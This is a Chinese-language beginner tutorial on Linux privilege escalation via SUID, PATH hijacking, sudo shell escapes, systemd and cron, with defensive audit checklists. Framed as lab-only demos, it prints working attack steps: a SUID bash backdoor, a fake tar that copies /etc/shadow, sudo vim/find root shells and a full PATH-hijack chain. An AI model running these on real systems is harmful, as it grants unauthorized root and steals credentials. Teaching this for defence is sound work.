Linux高级权限：SUID、环境变量、服务启停安全风险

10-Linux高级权限：SUID、环境变量、服务启停安全风险

本篇属于《网络安全筑基入门系列》第 10 篇。文中涉及的 PATH 劫持、sudo 提权等实验，务必只在自己搭建的本地虚拟机（Ubuntu/Kali）里演练。对真实系统做任何提权操作都属于非法侵入，请严格遵守白帽边界。

一、从"权限"到"特殊权限"：为什么要讲这些

上一篇讲了 Linux 基础权限 rwx（读、写、执行）。但系统里还有三种"特殊权限"，普通权限管不了它们，它们恰恰是权限提升（提权）攻击的经典突破口：

• SUID：运行时获得文件属主的权限。
• SGID：运行时获得文件属组的权限（目录上另有妙用）。
• Sticky Bit（粘滞位）：目录内只有属主/root 能删文件。

为什么攻击者盯着它们不放？渗透测试里有个标准路径：拿到一个低权限 shell → 找 SUID 文件或 sudo 配置漏洞 → 提权到 root。看懂这些机制，你就同时看懂了"攻击者怎么上去的"和"管理员怎么防"。

学习原则：先懂原理（它是什么、正常用途是什么），再懂风险（什么时候会变成漏洞），最后是防御（怎么查、怎么防）。一切实验只在虚拟机里做。

需要先破除一个常见误解：特殊权限不是"漏洞"本身，而是"放大器"。SUID、sudo、cron 都是系统提供的正常机制，系统设计者本意是让管理员省事。但当它们与"可写文件""可控 PATH""弱配置"组合在一起时，就变成了低权限用户通往上层的梯子。理解这个"组合"的思维，是看懂后面所有提权文章的前提。

二、SUID 原理与查看方法

2.1 什么是 SUID

SUID（Set User ID） 是一种特殊权限，挂在可执行文件上。效果是：任何用户执行这个文件时，进程都以"文件属主"的身份运行，而不是以"执行者自己"的身份运行。

经典例子是 /usr/bin/passwd（修改密码命令）：

ls -l /usr/bin/passwd
# 输出类似：
# -rwsr-xr-x 1 root root 59976 ... /usr/bin/passwd

看属主权限位：rws 里的 s 就是 SUID。普通用户改自己的密码，需要写 /etc/shadow（这个文件只有 root 能读写）。没有 SUID 的话普通用户根本改不了密码------所以 passwd 靠 SUID 暂时"借用" root 身份完成这个操作，改完立刻退回普通身份。

记忆技巧：SUID 的 s 出现在"属主"执行位；SGID 的 s 出现在"属组"执行位。

2.2 符号与数字表示

ls -l /usr/bin/passwd     # -rwsr-xr-x   s 在属主位 = SUID
ls -l /usr/bin/wall       # -rwxr-sr-x   s 在属组位 = SGID
ls -ld /tmp               # drwxrwxrwt    t 在其他人执行位 = Sticky Bit

数字表示（八进制），在三位基本权限前加一位：

4 = SUID      （例如 4755）
2 = SGID      （例如 2755）
1 = Sticky Bit（例如 1777）

• chmod 4755 file：给 file 加 SUID，权限变为 rwsr-xr-x。
• chmod 2755 file：加 SGID。
• chmod 1777 dir：加 Sticky Bit（/tmp 就是 1777）。

2.3 怎么查看系统里所有 SUID 文件

这是安全审计的必做动作，find 一条命令搞定：

find / -perm -4000 -type f 2>/dev/null
find / -perm -2000 -type f 2>/dev/null    # SGID 文件
find / -perm -2000 -type d 2>/dev/null    # 带 SGID 的目录

逐行解释：

• -perm -4000：匹配任何设置了 SUID 位 的文件（- 前缀表示"至少包含这些权限位"）。
• -type f：只看普通文件，排除目录；-type d 反过来只看目录。
• 2>/dev/null：丢权限报错，保持输出干净。

正常运行的系统，SUID 文件就那么二三十个 ，集中在 /usr/bin、/usr/sbin、/usr/lib 等标准位置。如果你用上面的命令扫出一堆不认识的路径里的 SUID 文件（比如 /tmp/xxx、/home/user/...），基本可以断定系统被人动过手脚------后门程序加 SUID 是维持权限的经典手法。

三、SUID 为什么危险

3.1 危险的本质

SUID 本身不是漏洞，它是系统设计好的机制。危险在于：

1. 可被利用提权：如果一个以 root 为属主的 SUID 程序存在漏洞，或者能被普通用户"诱导"执行任意命令，普通用户就借它获得了 root 权限。
2. 任意写入 ：如果某个 SUID 程序允许写文件，攻击者就能改 /etc/passwd（加一个 root 账户）或 /etc/shadow。
3. 人为添加的 SUID ：攻击者把 /bin/bash 或 /bin/sh 拷到别处并设置 SUID，等于给自己留了一把"永久 root 后门"：

# 攻击者视角（仅靶场演示，严禁真实环境！）
cp /bin/bash /tmp/.backdoor
chmod 4755 /tmp/.backdoor
# 之后任何用户执行 /tmp/.backdoor -p 都会得到 root shell
/tmp/.backdoor -p

逐行解释 ：cp 复制 bash 到 /tmp 隐藏目录，chmod 4755 加上 SUID，-p 参数让 bash 不放弃高权限（不降权）。这就是为什么安全加固基线里第一条就是"定期扫 SUID 文件"。

3.2 真实世界案例：脏牛与 SUID

历史上著名的 Dirty Cow（脏牛，CVE-2016-5195） 漏洞，利用内核写竞争实现任意文件覆盖，攻击者可以先往 /usr/bin/passwd 这类 SUID 程序里写入恶意代码，再执行它完成提权。这个案例说明：SUID 程序是内核/应用漏洞放大为 root 权限的"放大器"。

3.3 防御视角：SUID 加固清单

1. 定期扫描：把上面的 find 命令做成定时任务，新增的 SUID 文件立即告警。
2. 移除不必要的 SUID ：大多数 SUID 程序业务根本用不上，chmod u-s 去掉即可。
3. 挂载选项 ：对 /tmp、/home 等分区挂载时加 nosuid 参数，禁止这些分区上出现 SUID 文件：

# /etc/fstab 示例，/tmp 分区禁止 SUID
tmpfs /tmp tmpfs defaults,nosuid,noexec 0 0

nosuid 表示该文件系统上的 SUID 位一律失效，noexec 禁止执行------攻击者就算把后门放进 /tmp 也跑不起来。

4. 把"可写"和"SUID"视为组合炸弹 ：一个文件如果既能被普通用户写、又带了 SUID，等于直接送 root 权限。排查时用 find / -writable -perm -4000 2>/dev/null 这类组合条件去扫，能更快揪出高危文件。

四、SGID 与 Sticky Bit：别把它们漏了

4.1 SGID 的两种行为

• 作用在文件：执行时以"文件属组"身份运行（类似 SUID，但用属组权限）。
• 作用在目录 ：在该目录下新建的文件/子目录，自动继承目录的属组。团队协作目录常这么配，但攻击者也爱利用它：如果在 SGID 目录里能写文件，新建文件自动归 root 组，配合某些漏洞可能造成越权写。

4.2 Sticky Bit：/tmp 的"防乱删"机制

/tmp 是 1777 权限（drwxrwxrwt）：所有人可读可写可执行，但末尾的 t（Sticky Bit） 保证只有文件属主或 root 能删除/改名。没有它，任何用户都能删别人的临时文件，系统就乱套了。

加固提醒 ：/tmp 建议 noexec 挂载（禁止执行），这是行业基线，能挡掉大量落地在 /tmp 的恶意脚本和 SUID 后门。

4.3 特殊权限自查速查表

要查的	命令	危险信号
SUID 文件	find / -perm -4000 -type f	非标准目录下的 s 位
SGID 文件	find / -perm -2000 -type f	同上
SGID 目录	find / -perm -2000 -type d	可写 SGID 目录
Sticky Bit	ls -ld /tmp /var/tmp	缺少 t 位
/tmp 可执行	`mount	grep /tmp`

一个实用的自查脚本：把 SUID 扫描做成"基线对比"，新增文件立刻暴露。首次执行生成基线，之后每次 diff：

# 生成基线
find / -perm -4000 -type f 2>/dev/null | sort > /root/suid-baseline.txt

# 定期执行对比
find / -perm -4000 -type f 2>/dev/null | sort > /tmp/suid-now.txt
diff /root/suid-baseline.txt /tmp/suid-now.txt
# 有输出 = 出现新增或消失的 SUID 文件，立即排查

逐行解释 ：sort 保证两边顺序一致才能 diff；diff 没有任何输出说明"和基线一致"，有输出就要逐条确认------这是企业里"异常 SUID 检测"的朴素实现，也是 EDR（终端检测响应）这类产品做的活。

五、PATH 环境变量劫持：把"正常命令"换成"恶意程序"

5.1 原理：命令是怎么被找到的

你敲 ls，系统怎么知道去哪找它？靠的是环境变量 PATH：

echo $PATH
# /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

系统按冒号分隔的目录从左到右 找，先找到先执行。PATH 劫持的核心是：如果某个以 root 身份运行的程序用了"裸命令名"（不带完整路径），攻击者只要把自己伪造的命令放在 PATH 前面，就能让程序执行自己的代码。

5.2 本地靶场演示：完整流程（务必在虚拟机操作）

第一步：创建一个普通用户，准备一个"管理员用 root 跑、但调用了裸命令"的脚本。

# 管理员视角：给一个 root 用的脚本
sudo mkdir -p /opt/admin-tools
sudo tee /opt/admin-tools/backup.sh <<'EOF'
#!/bin/bash
# 注意：这里用了裸命令 tar，没有写 /bin/tar
tar -czf /root/backup.tar.gz /etc
EOF
sudo chmod 755 /opt/admin-tools/backup.sh

逐行解释 ：tee 把多行内容写入文件；脚本里调用的是 tar 而非 /bin/tar，这是被劫持的关键------它依赖 PATH 去"猜" tar 在哪。

第二步：攻击者视角（普通用户），伪造一个同名命令放到自己家目录，并把家目录塞到 PATH 最前面。

# 伪造一个"tar"，其实是一段恶意代码
cat > /tmp/fake-tools/tar <<'EOF'
#!/bin/bash
# 这里是恶意代码：把 /etc/shadow 拷给攻击者
cp /etc/shadow /tmp/shadow-copy 2>/dev/null
# 再假装正常干活
/bin/tar "$@"
EOF
chmod +x /tmp/fake-tools/tar

# 把自己的目录加在 PATH 最前面
export PATH=/tmp/fake-tools:$PATH
echo $PATH

逐行解释 ：/bin/tar "$@" 用完整路径调用真 tar，把原参数原样传过去，让"正常功能"看起来没受影响；但 cp /etc/shadow 已经先执行了，敏感文件被偷走。

第三步：管理员以 root 运行那个脚本，触发劫持。

sudo /opt/admin-tools/backup.sh
# 恶意 tar 被执行，/tmp/shadow-copy 里就有了 shadow 文件
ls -l /tmp/shadow-copy

第四步：如果你是管理员，怎么防？

• 写绝对路径 ：脚本里一律写 /bin/tar，不给劫持留缝。
• 脚本开头重置 PATH ：export PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"，把可控目录踢出去。
• 别让低权限用户能写脚本文件：脚本属主 root、权限 755。
• 审计 ：grep -rE "\b(tar|ls|cp|curl|wget|python)\b" /opt/admin-tools/ 找出裸命令调用点。

5.3 防御视角：PATH 劫持加固总结

1. 所有脚本、systemd 服务、cron 任务里，命令必须写绝对路径。
2. 服务/cron 的执行环境要显式设置安全 PATH。
3. 脚本文件、可写目录（/tmp、/var/tmp）不能出现在任何 root 任务的 PATH 里。
4. 对 root 任务调用的脚本目录做权限审计：属主 root、组 root、权限 750/755。

六、sudo 配置与提权面

6.1 sudo 是什么

sudo 允许授权用户以其他身份（默认 root）执行命令，靠 /etc/sudoers 文件控制，修改必须用 visudo 命令（自带语法检查，改错不会锁死系统）。

6.2 查看自己的"提权面"：sudo -l

sudo -l
# 输出示例：
# User alice may run the following commands on host:
#     (root) /usr/bin/vim, (root) /usr/bin/find

这是安全审计最重要的命令之一 ：它列出当前用户被允许执行的所有 sudo 命令。看到上面这种配置，就要警惕了------vim 和 find 是"可逃逸成 shell"的危险程序。

6.3 危险的 sudo 配置模式（靶场演示提权原理）

如果 sudoers 允许普通用户以 root 跑 vim，就能直接弹一个 root shell（仅限靶场演示原理）：

sudo vim -c ':!bash'
# 或
sudo find / -exec bash \;

逐行解释：

• vim -c ':!bash'：vim 打开时执行 :!bash------vim 支持在编辑器里调用外部 shell，这就等于以 root 跑了个 shell。
• find / -exec bash \;：find 的 -exec 对匹配的每个文件执行指定命令，同样把 bash 以 root 拉起来。

GTFOBins 网站汇总了所有这类"能逃逸成 shell 的程序"（vim、find、python、less、more、awk......），是安全工程师查"哪些命令不能给 sudo"的参考标准。

6.4 防御视角：sudo 加固清单

1. 最小授权 ：只给用户真正需要的命令，sudoers 尽量精确到 命令 + 参数，比如 (root) /usr/bin/systemctl restart nginx 而不是整个 systemctl。
2. 禁用危险命令：vim、find、python、perl、awk、less、more、tee 这类能逃逸 shell 的命令，一律不进 sudoers。
3. 加 NOPASSWD 要谨慎 ：NOPASSWD 意味着执行 sudo 不需要输密码，适合自动化脚本，但等于把"最后一层认证"也拆了。
4. 定期 sudo -l 审计所有用户，发现"能跑 vim"的账户立刻整改。
5. 所有配置改动用 visudo，防止语法错误把 sudo 整个锁死。

6.5 sudoers 语法实例：看得懂才知道怎么配安全

/etc/sudoers 的每一行规则按"谁 + 在哪些主机 + 能以谁身份 + 执行什么"排列：

# 文件内容示例（用 visudo 编辑）
root ALL=(ALL:ALL) ALL
alice ALL=(ALL:ALL) ALL
bob   ALL=(root) /usr/bin/systemctl restart nginx
ops   ALL=(ALL) NOPASSWD: /usr/sbin/ufw

逐行解释：

• root ALL=(ALL:ALL) ALL：root 可以在任何主机上、以任何用户（和组）身份、执行任何命令。永远不要给普通用户这行配置。
• alice ALL=(ALL:ALL) ALL：alice 拥有 root 的全权------这其实是"普通用户管理员"，风险等同于把 root 密码告诉 alice。
• bob ALL=(root) /usr/bin/systemctl restart nginx：bob 只能以 root 身份执行这一个命令（重启 nginx）。这才是推荐的最小授权写法：命令写死、不写解释器、不用通配。
• ops ALL=(ALL) NOPASSWD: /usr/sbin/ufw：ops 执行 ufw 不需要输密码，适合自动化脚本，但要注意这类规则的意外暴露面。

四个"ALL"的拆解（记住格式就不会被绕晕）：

用户名   主机名=(可切换的身份:可切换的组)   命令白名单

配置里有几点要特别小心：

• 命令写成 * 通配（如 /usr/bin/*）等于大开闸门。
• 给了 tee、dd、sed、chown 这类能改写文件属主的命令，同样可以变相提权。
• 给了 python/perl 等解释器，等于直接给 root shell。

防御动作 ：每季度把所有账号的 sudo -l 拉出来审一遍，凡是出现解释器、编辑器、find、tee 的授权，一律整改。

七、服务管理 systemctl 与不安全服务配置

7.1 systemd 与 unit 文件

现代 Linux 用 systemd 管理服务，命令：

sudo systemctl status nginx          # 查看服务状态
sudo systemctl start/stop/restart nginx
sudo systemctl enable --now nginx    # 开机自启并立即启动
sudo systemctl list-units --type=service --state=running   # 列出运行中服务

服务配置叫 unit 文件，常见位置：

/usr/lib/systemd/system/       # 软件自带
/etc/systemd/system/           # 管理员自定义/覆盖

7.2 不安全服务配置长什么样

• unit 文件可写 ：如果 /etc/systemd/system/xxx.service 属主是普通用户或权限 666，攻击者改掉 ExecStart（启动命令），下次服务重启就是执行恶意程序。
• ExecStart 用了裸命令或相对路径：结合 PATH 劫持原理，服务启动时同样会被"掉包"。
• 服务以 root 运行且用户可控输入：这是很多"提权到 root"漏洞的温床。
• 没用的服务还开着：扩大攻击面，比如开了个没人用的 FTP。

自查命令：

# 找出属主非 root 或权限过宽的 unit 文件
find /etc/systemd/system /usr/lib/systemd/system -name "*.service" -o -name "*.service" 2>/dev/null | xargs ls -l | grep -v " root root "

# 看某个服务的启动命令是否用了裸命令
grep -E "ExecStart" /etc/systemd/system/*.service 2>/dev/null

7.3 防御视角：服务加固清单

1. unit 文件属主必须 root，权限 644。
2. ExecStart 一律写绝对路径。
3. 不用的服务 systemctl disable --now 服务名 停掉并取消自启。
4. 定时审计运行中服务：systemctl list-units --type=service --state=running，对着基线清单核对，多出来的就是嫌疑。
5. 服务进程尽量以最小权限用户运行（User=www-data），别一股脑 root。

7.3 journalctl：读 systemd 服务的"操作日志"

systemd 自带日志系统 journald，用 journalctl 读取，排查服务异常和取证都很重要：

journalctl -u nginx                    # 看 nginx 服务的全部日志
journalctl -u nginx --since "1 hour ago"   # 只看最近一小时的
journalctl -u nginx -f                  # 实时跟踪（像 tail -f）
journalctl -p err -b                    # 本次开机以来的错误级日志

逐行解释：

• -u 服务名：只看指定 unit 的日志；--since 按时间过滤；-f 实时跟随；-p err 只输出错误及以上级别；-b 限定本次启动。
• 取证价值 ：如果某个服务被篡改后重启，journalctl -u 服务名 --since 能看到它什么时候被拉起、启动参数是什么，配合 unit 文件改动时间，能还原攻击者的操作时间线。

7.4 服务加固的完整自查链路

遇到"机器好像被种了服务后门"，按这个顺序走：

# 1. 列出所有运行中的服务
sudo systemctl list-units --type=service --state=running

# 2. 按启动时间排序，看有没有"近期新增"的服务
ls -lt /etc/systemd/system/*.service | head

# 3. 查可疑服务的启动命令和配置
sudo systemctl cat 可疑服务名
sudo systemctl status 可疑服务名

# 4. 看这个服务对应的可执行文件是不是最近生成的
ls -l /usr/lib/systemd/system/可疑服务名 2>/dev/null
find / -newer /etc/issue -name "*.service" 2>/dev/null

逐行解释 ：第 2 步按时间排序列出最近改动/新增的 unit 文件------后门服务通常是"刚写上去的"；第 4 步 -newer /etc/issue 是找"比系统安装文件更新的 service 文件"的技巧，新出现的服务文件会立刻显形。

八、计划任务 cron 安全

8.1 cron 是什么

cron 是 Linux 的计划任务系统，让系统在指定时间自动执行命令。配置文件分散在几个位置：

/etc/crontab                    # 系统级任务
/etc/cron.d/                    # 系统级任务目录
/var/spool/cron/crontabs/       # 各用户自己的任务（如 root 的）
/etc/cron.hourly|daily|weekly|monthly/   # 按频率分类的脚本目录

查看任务：

crontab -l                      # 查看当前用户的任务
sudo crontab -l -u root         # 查看 root 的任务
ls -la /etc/cron.d/ /etc/cron.daily/   # 看系统级任务

8.2 cron 时间语法：五分钟看懂五段式

cron 任务的格式是五个时间字段加一条命令：

分  时  日  月  周    命令
0   8   *   *   *    /usr/local/bin/backup.sh

逐字段解释：

• 分（0-59）、时（0-23）、日（1-31）、月（1-12）、周（0-7，0 和 7 都算周日）。
• * 表示"任意"，所以 0 8 * * * 是"每天 8 点"。
• 常用组合：*/5 * * * * 每 5 分钟；0 2 * * 1 每周一凌晨 2 点；30 3 1 * * 每月 1 号 3 点半。

识读恶意任务的技巧 ：看到高频任务（*/1 每分钟）且命令里带 curl、wget、python、/tmp/ 路径，几乎可以断定是下载型的后门任务------每 1 分钟执行一次，就是为了让后门"杀不死"。

8.3 cron 为什么是"后门温床"

1. 常驻机制：cron 任务每分/每时自动执行，比手动起的后门更隐蔽、更持久------杀了进程，过几分钟又活过来。
2. 可写脚本被替换 ：如果 cron 调用的脚本（比如 /etc/cron.daily/cleanup.sh）权限 666，任何人都能往里塞恶意代码，等 root 自动跑。
3. PATH 劫持复刻：cron 环境 PATH 很精简，如果任务用了裸命令，且某个可写目录排在 PATH 前面，同样会被掉包。
4. 隐蔽命名 ：攻击者常把恶意任务伪装成 update、sync、systemd-x 这类"正经名字"。

8.4 防御视角：cron 加固清单

1. 审计所有任务 ：sudo crontab -l -u root + 检查 /etc/cron.d/、/etc/cron.* 目录，对照基线，陌生任务一律清除。
2. 脚本文件权限 755、属主 root：任何人不可写。
3. 限制谁能用 crontab ：创建 /etc/cron.allow（白名单），只有名单里的用户能用 crontab；/etc/cron.deny 是黑名单，机制相反。建议用 allow。
4. cron 里写绝对路径，并在脚本开头重置 PATH。
5. 挂载 noexec ：/tmp、/var/tmp 禁止执行，防止恶意脚本落地即运行。

实战排查口诀 ：应急响应时，crontab -l -u root、ls /etc/cron.d、grep -r "bash\|wget\|curl" /etc/cron* 三个动作先做，大多数"杀不死的进程"都是从这里爬出来的。

九、案例复盘：一次典型的 Linux 提权路径（靶场推演）

把本篇所有知识点连成一条完整攻击链，理解"攻击者是怎么从普通用户走到 root 的"。以下内容仅在本地靶场推演，真实环境中哪怕复刻一步都属于非法入侵。

背景 ：你在靶机上拿到一个普通用户 bob 的 shell，目标是 root。

第 1 步：信息收集------找特殊权限文件

id                          # 确认当前身份（uid=1001(bob)）
find / -perm -4000 -type f 2>/dev/null | grep -v /usr/bin | grep -v /usr/sbin

输出里发现一个非标准位置的 SUID 文件 /opt/tools/run_me，属主 root。

第 2 步：分析这个 SUID 程序能不能被利用

file /opt/tools/run_me        # 看文件类型（是脚本还是二进制）
strings /opt/tools/run_me | grep -E "system|exec|curl|wget|tar"   # 找它调用的命令

如果发现它内部用 system("tar ...") 这类裸命令调用，就找到了 PATH 劫持的入口。

第 3 步：PATH 劫持把这个 SUID 程序"缴械"

mkdir /tmp/attack
echo '#!/bin/bash' > /tmp/attack/tar
echo 'id > /tmp/root-check.txt' >> /tmp/attack/tar     # 写入证明"以 root 身份执行"的代码
echo '/bin/tar "$@"' >> /tmp/attack/tar
chmod +x /tmp/attack/tar
export PATH=/tmp/attack:$PATH
/opt/tools/run_me
cat /tmp/root-check.txt        # 看到 uid=0(root)，提权成功

逐行解释 ：伪造的 tar 排在 PATH 最前面，SUID 程序以 root 调用 tar 时，实际执行的是我们的伪造版，里面的 id > /tmp/root-check.txt 就以 root 身份写下了文件------这个文件属于 root，证明我们拿到了 root 权限。

第 4 步：防御复盘------这整条链断在哪几处

1. 第 1 步就应该断：这个 SUID 程序放在 /opt/tools 这种"非标准位置"，资产梳理时就不该出现。
2. 第 2 步应该断：代码评审要求脚本/程序调用命令必须写绝对路径。
3. 第 3 步的根因：/tmp 可写 + PATH 含 /tmp 可写目录 + 程序调用裸命令 ，三者任一消除，攻击链就断了。挂载 /tmp 加 noexec、重置 PATH、写绝对路径，都是有效加固。

方法论总结：任何提权链拆开看，都是"特殊权限（SUID/sudo）+ 可控输入（PATH/文件可写）+ 高权限进程"的组合。防御工作就是在每个环节加上一道"锁"。

十、综合防御视角：把本篇串成一份加固检查单

检查项	命令	加固目标
SUID/SGID 文件	find / -perm -4000 -type f	移除异常 SUID
/tmp 挂载	`mount	grep /tmp`
PATH 中的可写目录	echo $PATH 逐个检查	移除可控目录
sudo 授权面	sudo -l（每个用户）	收回危险命令
systemd unit 权限	ls -l /etc/systemd/system/*.service	root:root 644
cron 任务审计	crontab -l + /etc/cron.*	清理未知任务
运行中服务	systemctl list-units --state=running	关停多余服务

一句话总结 ：Linux 提权攻击的本质，是"找出一条低权限进程能控制高权限进程的路径"。SUID、PATH、sudo、cron、systemd，都是这条路上的常见桥梁。防御的核心不是禁用一切机制，而是：权限最小化 + 绝对路径 + 可写性收敛 + 定期审计。

十一、给新手的靶场练习

在虚拟机上依次完成（只在自己的 Ubuntu/Kali 上）：

1. find / -perm -4000 -type f 2>/dev/null 列出你的 SUID 文件，逐个用 ls -l 看属主。
2. 用 chmod 4755 给一个测试脚本加 SUID，观察 ls -l 输出变化，再移除。
3. 完整走一遍"PATH 劫持靶场演示"（第 5.2 节），理解"裸命令"与"绝对路径"的区别。
4. 给自己造一个 sudoers 规则（visudo），然后 sudo -l 查看，感受授权面的可视化。
5. 写一个 cron 任务每天输出系统状态到文件，再把它清掉。

做完这五步，你对 Linux 的"高级权限世界"就有了真正的体感。

学习心法 ：这些机制（SUID、PATH、sudo、cron）本身都是合法且有用的系统设计，没有"绝对安全的配置"，只有"风险可接受且可审计的配置"。所以白帽的姿势永远是：先理解机制为什么存在，再评估它暴露了什么风险，最后用最小化、白名单、定期审计把它关进笼子。带着这个思维框架去看任何系统特性，你都会比"背命令的人"多一层理解。

下一步怎么练 ：建议在本机装一台干净的 Ubuntu，把第 5.2 节的 PATH 劫持演示、第 6.3 节的 sudo 提权演示各做一遍，然后再故意"加固"回去，对比加固前后的 sudo -l、SUID 扫描输出，直观感受"攻防视角的差别"。

（本文所有提权原理演示仅限本地虚拟机；针对真实系统的任何提权、后门、劫持操作均属违法犯罪，请坚持白帽防御路线。）